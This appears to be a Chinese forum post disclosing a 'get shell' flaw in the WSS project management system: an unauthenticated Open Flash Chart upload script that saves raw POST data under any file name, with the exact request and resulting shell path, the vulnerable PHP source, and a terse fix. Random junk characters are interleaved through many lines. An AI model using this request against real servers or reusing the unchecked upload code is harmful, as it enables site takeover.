WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
  o5 ?" R. R# c9 W  E; q 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
. G* d/ c1 b9 m% b: J( K5 {% e& P& l+ H
1 K  x# F. }; n& b0 ^利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
* j5 _% z2 G/ w& Y7 S3 |
Post任意数据
0 b( w: k' Z* y5 H, i保存位置http://localhost/chart/tmp-upload-images/hfy.php

$ y) @5 z# s' g0 Y) g
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
5 W! A1 n4 Y. A
7 {3 ?' H: Y9 }0 ^; V- `<?php

//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//

8 D- g" b- L! b) j5 }/*

print_r( $_GET );
print_r( $_POST );
8 }$ S8 \( v. kprint_r( $_FILES );
4 G2 K9 J6 U- v( h
print_r( $GLOBALS );
# L9 d- s) X+ |  {0 j: Fprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
* T: }, p1 X' `* T) |! b( w# Q
*/
* N: }3 v5 }; x/ t) K6 D* N! I// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

) B6 [" q1 I" Q/ C5 oif (!file_exists($default_path)) mkdir($default_path, 0777, true);
, ^& W% }' P9 ^) D, F$ P
7 o7 V- S+ m& }( C6 R( c// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
6 ~% z! L+ O2 m( [7 @- N8 g; _' i
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

//
! \( T5 O$ b+ m: M// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
" U; L. K  S, r9 P; D3 b5 z
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

% ^# u6 H' t' B& b7 u3 o//
// LOOK:
//
% F, v5 o0 e7 S3 @! h6 a1 t( Dexit();
4 o1 b' e1 c  [1 ]- @: l//
+ u6 z* V9 @+ e' q2 {% [# i% R, w// PHP5:
//
/ P+ L7 h* @8 K# n8 B# ]- w6 h

// default path for the image to be stored //
$default_path = 'tmp-upload-images/';

; ^' |0 Q- f2 v$ n+ u* K7 B: hif (!file_exists($default_path)) mkdir($default_path, 0777, true);

2 c" N. W7 ^% l# m+ D/ }// full path to the saved image including filename //
+ C: @! }) D) m3 d4 E* N$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

5 o8 f9 o& q; s$ A// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
( o( D: P9 D# [% X$ H; c    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
+ V4 D( L  V* v7 k2 F6 ~+ x} else {
    echo "FILE UPLOAD FAILED";
}
1 A1 j5 |9 B$ O

?>


- X* y* q, K" J
$ s9 y! a+ |1 a3 J

$ a! k/ u' R, s" X  z5 h( K4 h8 g
修复方案：
; |+ v2 l$ r- V; G' P) Q( x这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞

! q% A1 U7 j% \( f
: }9 I7 v( T& d; b
) m* ~# M% q0 Z. F) R/ Q